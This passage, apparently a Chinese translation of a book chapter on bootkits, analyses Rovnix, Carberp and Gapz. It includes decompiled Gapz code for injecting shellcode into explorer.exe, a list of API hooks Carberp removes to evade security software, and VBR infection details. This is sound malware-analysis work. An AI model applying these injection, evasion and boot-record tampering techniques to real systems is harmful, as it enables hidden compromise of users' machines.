首先,代码检查 I/O 请求是否针对硬盘设备对象 ➊。如果是,恶意软件会检查操作是读取还是写入操作,以及正在访问硬盘的哪个区域 ➋。CheckSrbParams 例程 ➌ 在访问受 bootkit 保护的区域时返回 TRUE。如果有人尝试向受 bootkit 保护的区域写入数据,代码会拒绝 I/O 操作并返回 STATUS_ACCESS_DENIED ➍。如果有人尝试从受 bootkit 保护的区域读取数据,恶意软件会设置一个恶意的完成例程 ➎,并将 I/O 请求传递给硬盘设备对象以完成读取操作。一旦读取操作完成,恶意的完成例程会被触发,通过向缓冲区写入零来清除读取数据。这种方式,恶意软件保护了它在硬盘上的数据。

隐藏文件系统

Rovnix 的另一个显著特征是其隐藏的文件系统 (FS) 分区(即操作系统无法看到的分区),用于秘密存储配置数据和附加的有效载荷模块。隐藏存储的实现并不是一种新的 bootkit 技术——它已被其他 rootkit 如 TDL4 和 Olmasco 使用过——但 Rovnix 的实现略有不同。

为了物理存储其隐藏分区,Rovnix 会占用硬盘的开始部分或结束部分的空间,具体取决于哪里有足够的空闲空间;如果在第一个分区之前有 0x7D0(即 2,000 十进制,几乎 1MB)或更多的空闲扇区,Rovnix 会将隐藏分区放置在 MBR 扇区之后,并扩展到所有空闲的 0x7D0 扇区。如果硬盘的开始部分没有足够的空间,Rovnix 会尝试将隐藏分区放在硬盘的末尾。为了访问存储在隐藏分区中的数据,Rovnix 使用原始的 IRP_MJ_INTERNAL_CONTROL 处理程序,按前一部分中解释的方式进行钩取。

将分区格式化为虚拟 FAT 系统

一旦 Rovnix 为隐藏分区分配了空间,它将其格式化为 虚拟文件分配表 (VFAT) 文件系统——这是一种 FAT 文件系统的修改版,能够存储带有长 Unicode 文件名的文件(最长 256 字节)。原始的 FAT 文件系统对文件名的长度有限制,为 8 + 3,即文件名最多 8 个字符,扩展名最多 3 个字符。

加密隐藏文件系统

为了保护隐藏文件系统中的数据,Rovnix 使用 RC6 加密算法在电子密码本(ECB)模式下实施分区透明加密,并且密钥长度为 128 位。在 ECB 模式下,待加密的数据被分割成等长的块,每个块都使用相同的密钥独立加密,与其他块无关。该密钥存储在隐藏分区第一扇区的最后 16 字节中,如图 11-15 所示,并用于加密和解密整个分区。

image

图 11-15:隐藏分区第一扇区的加密密钥位置

RC6

Rivest 密码 6,或称 RC6,是由 Ron Rivest、Matt Robshaw、Ray Sidney 和 Yiqun Lisa Yin 设计的一种对称密钥分组密码,旨在满足高级加密标准(AES)竞赛的要求。RC6 的分组大小为 128 位,支持 128 位、192 位和 256 位的密钥长度。

访问隐藏文件系统

为了使隐藏文件系统对有效载荷模块可访问,Rovnix 创建了一个名为符号链接的特殊对象。宽泛地讲,符号链接是隐藏存储设备对象的另一种名称,可以被用户模式进程中的模块使用。Rovnix 生成字符串 \DosDevices\<XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX>,其中 X 是一个随机生成的十六进制数字,范围从 0 到 F,用作隐藏存储的符号链接名称。

隐藏文件系统的一个优势是,可以通过操作系统提供的标准 Win32 API 函数,如 CreateFileCloseFileReadFileWriteFile,将其作为常规文件系统访问。例如,要在隐藏文件系统的根目录中创建名为 file_to_create 的文件,恶意有效载荷会调用 CreateFile,并传递符号链接字符串 \DosDevices\<%XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX>\file_to_create 作为文件名参数。一旦有效载荷模块发出此调用,操作系统会将请求重定向到负责处理隐藏文件系统请求的恶意内核模式驱动程序。

图 11-16 展示了恶意驱动程序如何实现文件系统驱动程序功能。一旦它收到来自有效载荷的 I/O 请求,Rovnix 使用钩住的硬盘处理程序调度该请求,执行针对硬盘上隐藏文件系统的读写操作。

image

图 11-16:Rovnix 隐藏存储文件系统的架构

在这种情况下,操作系统和恶意隐藏文件系统共存于同一硬盘上,但操作系统并不知道用于存储隐藏数据的硬盘区域。

恶意隐藏文件系统可能会更改存储在操作系统文件系统中的合法数据,但由于隐藏文件系统被放置在硬盘的开始或结束位置,因此这种情况发生的几率较低。

隐藏的通信通道

Rovnix 还有更多隐秘的伎俩。Rovnix 内核模式驱动程序实现了一个 TCP/IP 协议栈,用于与远程 C&C 服务器秘密通信。操作系统提供的网络接口常常被安全软件劫持,以监控和控制通过网络的流量。Rovnix 并不依赖这些网络接口,也避免了被安全软件检测的风险,而是使用了其自定义的网络协议实现,独立于操作系统,从 C&C 服务器下载有效载荷模块。

为了能够在这个网络上发送和接收数据,Rovnix 内核模式驱动实现了一个完整的网络栈,包括以下接口:

  • 微软 网络驱动接口规范 (NDIS) 微型端口接口,通过物理网络以太网接口发送数据包

  • 用于 TCP/IP 网络协议的传输驱动接口

  • 套接字接口

  • HTTP 协议用于与远程 C&C 服务器通信

如 图 11-17 所示,NDIS 微型端口层负责与网络接口卡通信,发送和接收网络数据包。传输驱动接口为上层套接字接口提供了 TCP/IP 接口,后者则被 Rovnix 的 HTTP 协议用来传输数据。

image

图 11-17:Rovnix 自定义网络栈实现架构

Rovnix 的创造者并不是从零开始开发这个隐藏的网络通信系统——这种实现需要成千上万行代码,因此容易出错。相反,他们基于一个开源、轻量级的 TCP/IP 网络库 lwIP 进行了实现。lwIP 库是一个小型、独立的 TCP/IP 协议套件实现,重点是减少资源使用,同时仍提供完整的 TCP/IP 协议栈。根据其官方网站的描述,lwIP 占用的 RAM 空间只有几十 KB,代码量约为 40KB,非常适合用作启动木马。

隐藏的通信通道等特性使得 Rovnix 可以绕过本地网络监控安全软件。由于 Rovnix 带有自己的网络协议栈,网络安全软件无法识别——因此也无法监控——它在网络上的通信。从协议层的最上层到底层的 NDIS 微型端口驱动,Rovnix 仅使用自己的网络组件,使其成为一个非常隐秘的启动木马。

案例分析:Carberp 连接

Rovnix 在实际环境中使用的一个例子是 Carberp 木马,它由俄罗斯最著名的网络犯罪集团开发。Carberp 被用于使一个银行木马在受害者的系统上持续存在。^(2)我们将查看 Carberp 的一些方面,以及它如何从 Rovnix 引导程序开发而来。

与 CARBERP 相关的恶意软件

据估计,开发 Carberp 的集团每周的平均收入达到数百万美元,并在其他恶意软件技术上投入了大量资金,如 Hodprot 投放器,^(1)该投放器曾在 Carberp、RDPdoor 和 Sheldor 的安装中发挥作用。^(2) RDPdoor 尤其恶意:它安装 Carberp 以便在被感染的系统中打开后门,并手动执行欺诈性银行交易。

1。 www.welivesecurity.com/media_files/white-papers/Hodprot-Report.pdf

2。 www.welivesecurity.com/2011/01/14/sheldor-shocked/

Carberp 的开发

2011 年 11 月,我们注意到 Carberp 背后的网络犯罪集团设置的一个 C&C 服务器开始分发一个基于 Rovnix 框架的引导程序。我们开始跟踪 Carberp 木马,发现此期间其分发非常有限。

我们的分析中有两个迹象表明该机器人处于测试模式,因此正在积极开发中。第一个线索是关于机器人安装和二进制文件行为的大量调试和追踪信息。第二个线索是我们通过访问机器人 C&C 服务器的日志文件发现的——大量安装失败信息被发送回 C&C。图 11-18 展示了 Carberp 报告的此类信息示例。

image

图 11-18:Rovnix 投放器日志示例

ID 列指定 Rovnix 实例的唯一标识符;状态列包含受害者系统是否成功被攻破的信息。感染算法分为多个步骤,每完成一步后,信息便会直接报告给 C&C 服务器。步骤列提供正在执行的步骤信息,信息列包含安装过程中遇到的任何错误描述。通过查看步骤和信息列,僵尸网络操作员可以确定感染失败的步骤和原因。

Carberp 使用的 Rovnix 版本包含了大量的调试字符串,并且向 C&C 发送了许多冗长的消息。图 11-19 展示了它可能发送的字符串示例。这些信息对我们分析这个威胁并理解其功能非常有帮助。二进制文件中留下的调试信息揭示了二进制中实现的例程名称及其目的,记录了代码的逻辑。利用这些数据,我们可以更容易地重建恶意代码的上下文。

image

图 11-19:开发人员在 Rovnix 下拉程序中留下的调试字符串

下拉程序增强功能

Carberp 中使用的 Rovnix 框架与我们在本章开始时描述的引导工具几乎相同,唯一的显著变化出现在下拉程序中。在 “感染系统” 中的第 150 页,我们提到 Rovnix 尝试通过使用 ShellExecuteEx Win32 API 来提升权限,从而在受害者机器上获得管理员权限。在 Carberp 版本的 Rovnix 中,下拉程序利用了系统中的以下漏洞来提升权限:

MS10-073 在 win32k.sys 模块中的漏洞 该漏洞最初由 Stuxnet 蠕虫利用,攻击了对特殊构造的键盘布局文件的错误处理。

MS10-092 在 Windows 任务计划程序中的漏洞 该漏洞也首次在 Stuxnet 中被发现,利用了 Windows 计划程序中的完整性验证机制。

MS11-011 在 win32k.sys 模块中的漏洞 该漏洞导致 win32k.sys!RtlQueryRegistryValues 例程中的堆栈溢出。

.NET 运行时优化漏洞 这是 Microsoft .NET 运行时优化服务中的一个漏洞,导致以 SYSTEM 权限执行恶意代码。

另一个有趣的特性是 Carberp 安装程序在将特洛伊木马或引导工具安装到系统之前,从系统例程列表中移除了各种钩子,这些内容在清单 11-8 中显示。由于这些例程通常是安全软件(如沙箱、主机入侵防护系统等)的钩子目标,因此通过解除钩子,恶意软件增加了绕过检测的能力。

ntdll!ZwSetContextThread

ntdll!ZwGetContextThread

ntdll!ZwUnmapViewOfSection

ntdll!ZwMapViewOfSection

ntdll!ZwAllocateVirtualMemory

ntdll!ZwWriteVirtualMemory

ntdll!ZwProtectVirtualMemory

ntdll!ZwCreateThread

ntdll!ZwOpenProcess

ntdll!ZwQueueApcThread

ntdll!ZwTerminateProcess

ntdll!ZwTerminateThread

ntdll!ZwResumeThread

ntdll!ZwQueryDirectoryFile

ntdll!ZwCreateProcess

ntdll!ZwCreateProcessEx

ntdll!ZwCreateFile

ntdll!ZwDeviceIoControlFile

ntdll!ZwClose

ntdll!ZwSetInformationProcess

kernel32!CreateRemoteThread

kernel32!WriteProcessMemory

kernel32!VirtualProtectEx

kernel32!VirtualAllocEx

kernel32!SetThreadContext

kernel32!CreateProcessInternalA

kernel32!CreateProcessInternalW

kernel32!CreateFileA

kernel32!CreateFileW

kernel32!CopyFileA

kernel32!CopyFileW

kernel32!CopyFileExW

ws2_32!connect

ws2_32!send

ws2_32!recv

ws2_32!gethostbyname

清单 11-8:Rovnix 下拉程序解除钩子的例程列表

Carberp 的 Rovnix 修改版中的引导工具和内核模式驱动程序部分与原版引导工具相同。成功安装到系统后,恶意的 IPL 代码加载了内核模式驱动程序,该驱动程序将 Carberp 特洛伊木马有效载荷注入到系统进程中。

泄露的源代码

2013 年 6 月,Carberp 和 Rovnix 的源代码泄露给了公众。完整的档案文件可以下载,其中包含了攻击者用来构建自己 Rovnix 启动病毒的所有必要源代码。尽管如此,我们并没有在现实中看到像预期那样多的 Rovnix 和 Carberp 定制版本,这我们推测是因为这种启动病毒技术的复杂性。

结论

本章对 Rovnix 进行了详细的技术分析,讨论了在安全行业面临的持续启动病毒军备竞赛中,Rovnix 的作用。随着安全软件赶上了当时感染 MBR 的启动病毒,Rovnix 则提出了另一种感染途径——IPL,引发了杀毒技术的另一轮进化。由于其 IPL 感染方法,以及隐藏存储和隐藏网络通信通道的实现,Rovnix 成为了在现实中最复杂的启动病毒之一。这些特性使它成为网络犯罪分子手中的一种危险武器,Carberp 案件就证明了这一点。

本章我们特别关注了使用 VMware 和 IDA Pro 剖析 Rovnix 的 IPL 代码,展示了这些工具在启动病毒分析中的实际应用。你可以从nostarch.com/rootkits/下载所有必要的数据,重复步骤或进行你自己的深入调查,研究 Rovnix 的 IPL 代码。

第十二章:GAPZ:高级 VBR 感染

Image

本章介绍了野外发现的最隐秘的引导病毒之一:Win32/Gapz 引导病毒。我们将讨论其技术特性和功能,从引导程序和引导病毒组件开始,接着讲解用户模式的有效载荷。

根据我们的经验,Gapz 是迄今为止分析过的最复杂的引导病毒。它的每一个设计和实现特性——复杂的引导程序、先进的引导病毒感染方法、以及扩展的 rootkit 功能——都确保了 Gapz 能够感染并持续存在于受害者的计算机中,并长期保持隐蔽。

Gapz 是通过一个利用多个本地特权升级漏洞并实施绕过主机入侵防御系统(HIPS)的非同寻常技术的引导程序安装到受害者系统上的。

在成功渗透到受害者系统后,引导程序安装了引导病毒,该病毒占用空间非常小,且在感染系统上难以被发现。引导病毒将恶意代码加载到内核模式中,执行 Gapz rootkit 功能。

其 rootkit 功能非常丰富,包括自定义 TCP/IP 网络栈、先进的钩子引擎、加密库和有效载荷注入引擎。

本章深入探讨了这些强大功能的每个方面。

为什么它叫 GAPZ?

该引导病毒的名字来源于字符串‘GAPZ’,该字符串在所有二进制文件和 shellcode 中作为分配内存的标记使用。例如,下面这段内核模式代码通过执行 ExAllocatePoolWithTag 函数,并使用第三个参数‘ZPAG’ ➊(即反向的‘GAPZ’)来分配内存:

int _stdcall alloc_mem(STRUCT_IPL_THREAD_2 *al, int pBuffer, unsigned int
Size, int Pool)

{

   v7 = -1;

    for ( i = -30000000; ; (a1->KeDelagExecutionThread)(0, 0, &i) )

    {

        v4 = (a1->ExAllocatePoolWithTag)(Pool, Size, ➊'ZPAG');

        if ( v4 )

            break;

    }

    memset(v4, 0, Size);

    result = pBuffer;

    *pBuffer = v4;

    return result;

}

Gapz 引导程序

Gapz 是通过复杂的引导程序安装到目标系统上的。Gapz 引导程序有多个变种,所有变种都包含一个相似的有效载荷,稍后我们将在《Gapz Rootkit 功能》章节中详细讨论(第 191 页)。这些引导程序的区别在于引导病毒技术和它们各自利用的本地特权升级(LPE) 漏洞的数量。

第一个在野外发现的 Gapz 版本是 Win32/Gapz.C,发现时间为 2012 年 4 月^(1)。这种引导程序变种使用了基于 MBR 的引导病毒——与第七章中讨论的 TDL4 引导病毒使用的技术相同——来在受害者计算机上保持持久性。Win32/Gapz.C 的显著特点是它包含了大量用于调试和测试的冗长字符串,并且它的早期分发非常有限。这表明 Gapz 的最早版本并不是为了大规模分发,而是测试版,用于调试恶意软件的功能。

第二个变种 Win32/Gapz.B 根本没有在目标系统上安装 bootkit。为了在受害者系统上保持持久性,Gapz 仅安装了一个恶意的内核模式驱动程序。然而,由于缺乏有效的内核模式驱动程序数字签名,这种方法在 Microsoft Windows 64 位平台上无法使用,限制了该修改仅适用于 Microsoft Windows 32 位操作系统。

最后一个已知且最有趣的投放器版本 Win32/Gapz.A,是我们在本章重点讨论的版本。该版本带有 VBR bootkit。在本章的其余部分,我们将简化为使用“Gapz”来指代 Win32/Gapz.A。

表 12-1 总结了不同版本的投放器。

表 12-1: Win32/Gapz 投放器的版本

检测名称 编译日期 LPE 漏洞 Bootkit 技术
Win32/Gapz.A 2012/09/11 至 2012/10/30 CVE-2011-3402CVE-2010-4398COM 提权 VBR
Win32/Gapz.B 2012/11/06 CVE-2011-3402COM 提权 无 bootkit
Win32/Gapz.C 2012/04/19 CVE-2010-4398CVE-2011-2005COM 提权 MBR

检测名称列列出了杀毒行业采用的 Gapz 变种。编译日期列中的条目来自 Gapz 投放器的 PE 头部,据信这是一个准确的时间戳。Bootkit 技术列显示了投放器使用的 bootkit 类型。

最后,LPE 漏洞列列出了 Gapz 投放器利用的多个 LPE 漏洞,以便在受害者系统上获取管理员权限。COM 提权漏洞用于绕过用户帐户控制(UAC)安全功能,以便将代码注入到 UAC 白名单中的系统进程中。CVE-2011-3402 漏洞与win32k.sys模块中实现的 TrueType 字体解析功能有关。CVE-2010-4398 漏洞是由于RtlQueryRegistryValues例程中的栈溢出,位于win32k.sys模块中。CVE-2011-2005 漏洞位于afd.sys(辅助功能驱动程序)模块中,允许攻击者在内核模式地址空间中覆盖数据。

表 12-1 中列出的所有 Gapz 投放器版本都包含相同的有效载荷。

投放器算法

在更详细地检查 Gapz 投放器之前,我们先回顾一下它需要什么条件才能悄无声息地成功安装 Gapz 到系统中。

首先,投放器需要管理员权限来访问硬盘并修改 MBR/VBR/IPL 数据。如果投放器的用户帐户没有管理员权限,它必须通过利用系统中的 LPE 漏洞来提升权限。

其次,它需要绕过安全软件,如防病毒程序、个人防火墙和主机入侵防御系统。为了保持低调,Gapz 使用了先进的工具和方法,包括混淆、反调试和反仿真技术。除了这些方法外,Gapz dropper 还使用了一种独特且相当有趣的技术来绕过 HIPS,稍后将在本章中讨论。

主机入侵防御系统(HIPS)

顾名思义,主机入侵防御系统(Host Intrusion Prevention System,简称 HIPS)是一种计算机安全软件,旨在防止攻击者访问目标系统。它采用多种方法,包括但不限于使用签名和启发式分析,监控单个主机的可疑活动(例如,系统中新进程的创建、在另一个进程中分配具有可执行页面的内存缓冲区,以及新的网络连接)。与仅分析可执行文件的计算机防病毒软件不同,HIPS 会分析事件以发现系统正常状态的偏差。如果恶意软件设法绕过计算机防病毒软件并在计算机上执行,HIPS 仍然可以通过检测不同事件交互的变化来发现并阻止入侵者。

考虑到这些障碍,Gapz dropper 执行以下步骤以成功感染系统:

  1. 将自己注入 explorer.exe 以绕过 HIPS(如 “绕过 HIPS” 在 第 181 页 中讨论的那样)。

  2. 利用目标系统中的 LPE 漏洞提升其用户权限。

  3. 将引导程序安装到系统中。

Dropper 分析

当解包后的 dropper 被加载到 IDA Pro 反汇编器中时,其导出地址表将像 图 12-1 所示。导出地址表显示了二进制文件导出的所有符号,并很好地总结了 dropper 执行算法中的步骤。

image

图 12-1:Gapz dropper 的导出地址表

二进制文件导出了三个例程:一个主入口点和两个具有随机生成名称的例程。每个例程都有其特定的目的:

start 将 dropper 注入到 explorer.exe 地址空间

icmnf 利用系统中的 LPE 漏洞来提升权限

isyspf 感染受害者的机器

图 12-1 还显示了导出的符号 gpi。这个符号指向 dropper 映像中的共享内存,由前面的例程用来将 dropper 注入到 explorer.exe 进程中。

Figure 12-2 描述了这些阶段。主要入口点并不会通过 Gapz bootkit 感染系统。相反,它执行 start 例程将投放器注入 explorer.exe,以绕过安全软件的检测。一旦投放器被注入,它通过利用系统中的 LPE 漏洞(利用 icmnf 例程)尝试获得管理员权限。投放器获得所需权限后,执行 isyspf 例程将 bootkit 注入硬盘。

image

Figure 12-2: Gapz 投放器工作流程

让我们更仔细地看看注入投放器并绕过 HIPS 的过程。

绕过 HIPS

计算机病毒有许多方法将自己伪装成良性软件,以避免引起安全软件的注意。我们在 第一章 中讨论的 TDL3 rootkit 就采用了另一种有趣的绕过 HIPS 的技术,它利用 AddPrintProvidor/AddPrintProvider 系统 API 来避免被发现。这些 API 函数用于将自定义模块加载到受信任的系统进程 spoolsvc.exe 中,该进程负责 Windows 系统中的打印支持。AddPrintProvidorsic)例程是一个用于将本地打印提供程序安装到系统中的可执行模块,通常会被排除在安全软件监视的项目列表之外。TDL3 只是创建一个带有恶意代码的可执行文件,并通过运行 AddPrintProvidor 将其加载到 spoolsvc.exe 中。一旦该例程执行,恶意代码便在受信任的系统进程中运行,使得 TDL3 能够在不被检测的情况下进行攻击。

Gapz 还将其代码注入到受信任的系统进程中,以绕过 HIPS,但它采用了一种复杂的非标准方法,核心目的是注入 shellcode,将恶意镜像加载并执行到 explorer 进程中。这些是投放器采取的步骤:

  1. 打开映射到 explorer.exe 地址空间中的 \BaseNamedObjects 共享部分之一(见 Listing 12-1),并将 shellcode 写入此部分。Windows 对象管理器命名空间中的 \BaseNamedObjects 目录包含互斥锁、事件、信号量和段对象的名称。

  2. 写入 shellcode 后,搜索窗口 Shell_TrayWnd。该窗口对应于 Windows 任务栏。Gapz 特别针对这个窗口,因为它是由 explorer.exe 创建和管理的,并且很可能在系统中可用。

  3. 调用 Win32 API 函数 GetWindowLong 获取与 Shell_TrayWnd 窗口处理程序相关的例程地址。

  4. 调用 Win32 API 函数 SetWindowLong 来修改与 Shell_TrayWnd 窗口处理程序相关的例程地址。

  5. 调用 SendNotifyMessage 触发在 explorer.exe 地址空间中执行 shellcode。

区段对象用于与其他进程共享某一进程的一部分内存;换句话说,它们代表了可以跨系统进程共享的内存区段。Listing 12-1 显示了恶意软件在第一步中查找的\BaseNamedObjects中的区段对象。这些区段对象对应系统区段——即它们是由操作系统创建的,包含系统数据。Gapz 遍历区段对象列表并打开它们,以检查它们是否存在于系统中。如果系统中存在某个区段对象,投放程序将停止遍历,并返回该区段的句柄。

char _stdcall OpenSection_(HANDLE *hSection, int pBase, int *pRegSize)

{

    sect_name = L"\\BaseNamedObjects\\ShimSharedMemory";

    v7 = L"\\BaseNamedObjects\\windows_shell_global_counters";

    v8 = L"\\BaseNamedObjects\\MSCTF.Shared.SFM.MIH";

    v9 = L"\\BaseNamedObjects\\MSCTF.Shared.SFM.AMF";

    v10 = L"\\BaseNamedObjectsUrlZonesSM_Administrator";

    i = 0;

    while ( OpenSection(hSection, (&sect_name)[i], pBase, pRegSize) < 0 )

    {

        if ( ++i >= 5 )

            return 0;

    }

    if ( VirtualQuery(*pBase, &Buffer, 0xlCu) )

        *pRegSize = v7;

    return 1;

}

Listing 12-1:Gapz 投放程序中使用的对象名称

一旦打开现有区段,恶意软件便开始将其代码注入到explorer.exe进程中,如 Listing 12-2 所示。

char __cdecl InjectIntoExplorer()

{

  returnValue = 0;

  if ( OpenSectionObject(&hSection, &SectionBase, &SectSize) )  // open some of SHIM sections

  {

 ➊ TargetBuffer = (SectionBase + SectSize - 0x150);            // find free space in the end

                                                                // of the section

    memset(TargetBuffer, 0, 0x150u);

    qmemcpy(TargetBuffer->code, sub_408468, sizeof(TargetBuffer->code));

    hKernel32 = GetModuleHandleA("kernel32.dll");

 ➋ TargetBuffer->CloseHandle = GetExport(hKernel32, "CloseHandle", 0);

    TargetBuffer->MapViewOfFile = GetExport(hKernel32, "MapViewOfFile", 0);

    TargetBuffer->OpenFileMappingA = GetExport(hKernel32, "OpenFileMappingA", 0);

    TargetBuffer->CreateThread = GetExport(hKernel32, "CreateThread", 0);

    hUser32 = GetModuleHandleA("user32.dll");

    TargetBuffer->SetWindowLongA = GetExport(hUser32, "SetWindowLongA", 0);

 ➌ TargetBuffer_ = ConstructTargetBuffer(TargetBuffer);

    if ( TargetBuffer_ )

    {

      hWnd = FindWindowA("Shell_TrayWnd", 0);

   ➍ originalWinProc = GetWindowLongA(hWnd, 0);

      if ( hWnd && originalWinProc )

      {

        TargetBuffer->MappingName[10] = 0;

        TargetBuffer->Shell_TrayWnd = hWnd;

        TargetBuffer->Shell_TrayWnd_Long_0 = originalWinProc;

        TargetBuffer->icmnf = GetExport(CurrentImageAllocBase, "icmnf", 1);

        qmemcpy(&TargetBuffer->field07, &MappingSize, 0xCu);

        TargetBuffer->gpi = GetExport(CurrentImageAllocBase, "gpi", 1);

        BotId = InitBid();

        lstrcpynA(TargetBuffer->MappingName, BotId, 10);

        if ( CopyToFileMappingAndReloc(TargetBuffer->MappingName, CurrentImageAllocBase,

                                       CurrentImageSizeOfImage, &hObject) )

        {

          BotEvent = CreateBotEvent();

          if ( BotEvent )

          {

         ➎ SetWindowLongA(hWnd, 0, &TargetBuffer_->pKiUserApcDispatcher);

         ➏ SendNotifyMessageA(hWnd, 0xFu, 0, 0);

            if ( !WaitForSingleObject(BotEvent, 0xBB80u) )

              returnValue = 1;

            CloseHandle(BotEvent);

          }

          CloseHandle(hObject);

        }

      }

    }

    NtUnmapViewOfSection(-1, SectionBase);

    NtClose(hSection);

  }

  return returnValue;

}

Listing 12-2:将 Gapz 投放程序注入explorer.exe*

恶意软件使用区段末尾的 336 个字节(0x150)➊来写入 shellcode。为了确保 shellcode 正确执行,恶意软件还提供了在注入过程中使用的某些 API 例程的地址:CloseHandleMapViewOfFileOpenFileMappingACreateThreadSetWindowLongA ➋。shellcode 将使用这些例程将 Gapz 投放程序加载到explorer.exe的内存空间中。

Gapz 使用返回导向编程(ROP)技术执行 shellcode。ROP 利用了 x86 和 x64 架构中ret指令的特性,在执行完子例程后,ret指令可以将控制权返回给父例程。ret指令假定控制权返回的地址位于栈顶,因此它会从栈中弹出返回地址,并将控制权转移到该地址。通过执行ret指令来控制栈,攻击者可以执行任意代码。

Gapz 使用 ROP 技术执行 shellcode 的原因是,部分共享内存对象的内存可能不可执行,因此尝试从中执行指令将引发异常。为了解决这个限制,恶意软件使用了一个小型 ROP 程序,在 shellcode 之前执行。该 ROP 程序在目标进程内部分配了一些可执行内存,将 shellcode 复制到这个缓冲区中,并从那里执行。

Gapz 在ConstructTargetBuffer例程中找到触发 shellcode 的小工具➌。对于 32 位系统,Gapz 使用系统例程ntdll!KiUserApcDispatcher将控制权转移到 ROP 程序。

修改 Shell_TrayWnd 过程

一旦它将 shellcode 写入节对象并找到所有必要的 ROP 小工具,恶意软件就进入下一步:修改Shell_TrayWnd窗口过程。该过程负责处理所有发生并发送到窗口的事件和消息。每当窗口被调整大小或移动、按钮被按下等,系统都会调用Shell_TrayWnd例程以通知并更新窗口。系统在窗口创建时指定窗口过程的地址。

Gapz 掉落程序通过执行GetWindowLongA ➍例程来检索原始窗口过程的地址,以便在注入后返回此地址。该例程用于获取窗口参数,并接受两个参数:窗口句柄和要检索的参数索引。如您所见,Gapz 调用该例程时传入了索引参数0,表示原始Shell_TrayWnd窗口过程的地址。恶意软件将此值存储在内存缓冲区中,以便在注入后恢复原始地址。

接下来,恶意软件执行SetWindowLongA例程 ➎,将Shell_TrayWnd窗口过程的地址修改为ntdll!KiUserApcDispatcher系统例程的地址。通过重定向到系统模块中的地址,而非 shellcode 本身,Gapz 进一步保护自己免受安全软件的检测。此时,shellcode 已经准备好执行。

执行 Shellcode

Gapz 通过使用SendNotifyMessageA API ➏ 向Shell_TrayWnd窗口发送消息,触发 shellcode 的执行,将控制权传递给窗口过程。如前一节所述,在修改了窗口过程的地址后,新的地址指向KiUserApcDispatcher例程。这最终导致控制权转移到映射在explorer.exe进程地址空间中的 shellcode,如列表 12-3 所示。

int __stdcall ShellCode(int a1, STRUCT_86_INJECT *a2, int a3, int a4)

{

  if ( !BYTE2(a2->injected) )

  {

    BYTE2(a2->injected) = 1;

 ➊ hFileMapping = (a2->call_OpenFileMapping)(38, 0, &a2->field4);

    if ( hFileMapping )

    {

   ➋ ImageBase = (a2->call_MapViewOfFile)(hFileMapping, 38, 0, 0, 0);

      if ( ImageBase )

      {

        qmemcpy((ImageBase + a2->bytes_5), &a2->field0, 0xCu);

     ➌ (a2->call_CreateThread)(0, 0, ImageBase + a2->routineOffs, ImageBase, 0, 0);

      }

      (a2->call_CloseHandle)( hFileMapping );

    }

  }

➍ (a2->call_SetWindowLongA)(a2->hWnd, 0, a2->OriginalWindowProc);

  return 0;

}

列表 12-3:将 Gapz 掉落程序映射到 explorer.exe 的地址空间中

您可以看到OpenFileMappingMapViewOfFileCreateThreadCloseHandle等 API 例程的使用,这些例程的地址之前已经填充(在列表 12-2 的➋处)。通过这些例程,shellcode 将对应掉落程序的文件映射到explorer.exe的地址空间中(➊和➋)。然后,它在explorer.exe进程中创建一个线程 ➌ 来执行映射的镜像,并恢复SetWindowLongA WinAPI 函数 ➍修改的原始索引值。新创建的线程运行掉落程序的下一部分,提升其权限。一旦掉落程序获得足够的权限,它就会尝试感染系统,这时引导病毒功能就会发挥作用。

Power Loader 的影响

这里描述的注入技术并不是 Gapz 开发者的发明,它之前出现在 Power Loader 恶意软件创建工具中。Power Loader 是一种专门用于为其他恶意软件家族创建下载器的机器人构建器,它是恶意软件生产中专业化和模块化的另一个例子。Power Loader 第一次在野外被发现是在 2012 年 9 月。从 2012 年 11 月起,名为 Win32/Redyms 的恶意软件在其自己的投放程序中使用了 Power Loader 组件。本文撰写时,Power Loader 套件——包括一个构建工具包和一个 C&C 面板——在俄罗斯网络犯罪市场上的价格约为 500 美元。

用 Gapz 引导程序感染系统

Gapz 使用了两种不同的感染技术:一种针对可启动硬盘的 MBR,另一种针对活动分区的 VBR。然而,两个版本的引导程序功能基本相同。MBR 版本通过类似于 TDL4 引导程序的方式修改 MBR 代码,旨在保持在受害者的计算机上。VBR 版本则使用更微妙、更隐蔽的技术来感染受害者的系统,正如前面所提到的,这就是我们在这里重点讨论的版本。

我们在第七章中简要提到过 Gapz 的引导程序技术,现在我们将详细说明其实现细节。Gapz 使用的感染方法是迄今为止在野外见过的最隐蔽的技术之一,只修改了 VBR 的几个字节,使得安全软件很难检测到它。

查看 BIOS 参数块

恶意软件的主要目标是位于 VBR 中的 BIOS 参数块(BPB)数据结构(有关详细信息,请参见第五章)。该结构包含有关分区上文件系统卷的信息,并在引导过程中起着至关重要的作用。不同文件系统(如 FAT、NTFS 等)的 BPB 布局有所不同,但我们将专注于 NTFS。NTFS 的 BPB 结构内容如清单 12-4 所示(为方便起见,这是从清单 5-3 中摘录的)。

typedef struct _BIOS_PARAMETER_BLOCK_NTFS {

   WORD SectorSize;

   BYTE SectorsPerCluster;

   WORD ReservedSectors;

   BYTE Reserved[5];

   BYTE MediaId;

   BYTE Reserved2[2];

   WORD SectorsPerTrack;

   WORD NumberOfHeads;

➊ DWORD HiddenSectors;

   BYTE Reserved3[8];

   QWORD NumberOfSectors;

   QWORD MFTStartingCluster;

   QWORD MFTMirrorStartingCluster;

   BYTE ClusterPerFileRecord;

   BYTE Reserved4[3];

   BYTE ClusterPerIndexBuffer;

   BYTE Reserved5[3];

   QWORD NTFSSerial;

   BYTE Reserved6[4];

} BIOS_PARAMETER_BLOCK_NTFS, *PBIOS_PARAMETER_BLOCK_NTFS;

清单 12-4:NTFS 的BIOS_PARAMETER_BLOCK布局

如你在第五章中所记得的,位于结构开始偏移 14 的位置的HiddenSectors字段➊,确定了硬盘上 IPL 的位置(见图 12-3)。VBR 代码使用HiddenSectors来查找磁盘上的 IPL 并执行它。

image

图 12-3:硬盘上 IPL 的位置

感染 VBR

Gapz 通过在系统启动时操作 BPB 中的HiddenSectors字段值来劫持控制流。在感染计算机时,如果有足够的空间,Gapz 会在第一个分区之前写入引导程序主体,否则会在最后一个分区之后写入,并修改HiddenSectors字段,使其指向硬盘上根木马主体的起始位置,而不是指向合法的 IPL 代码(见图 12-4)。因此,在下一次启动时,VBR 代码会加载并执行位于硬盘末端的 Gapz 引导程序代码。

image

图 12-4:Gapz 引导程序感染布局

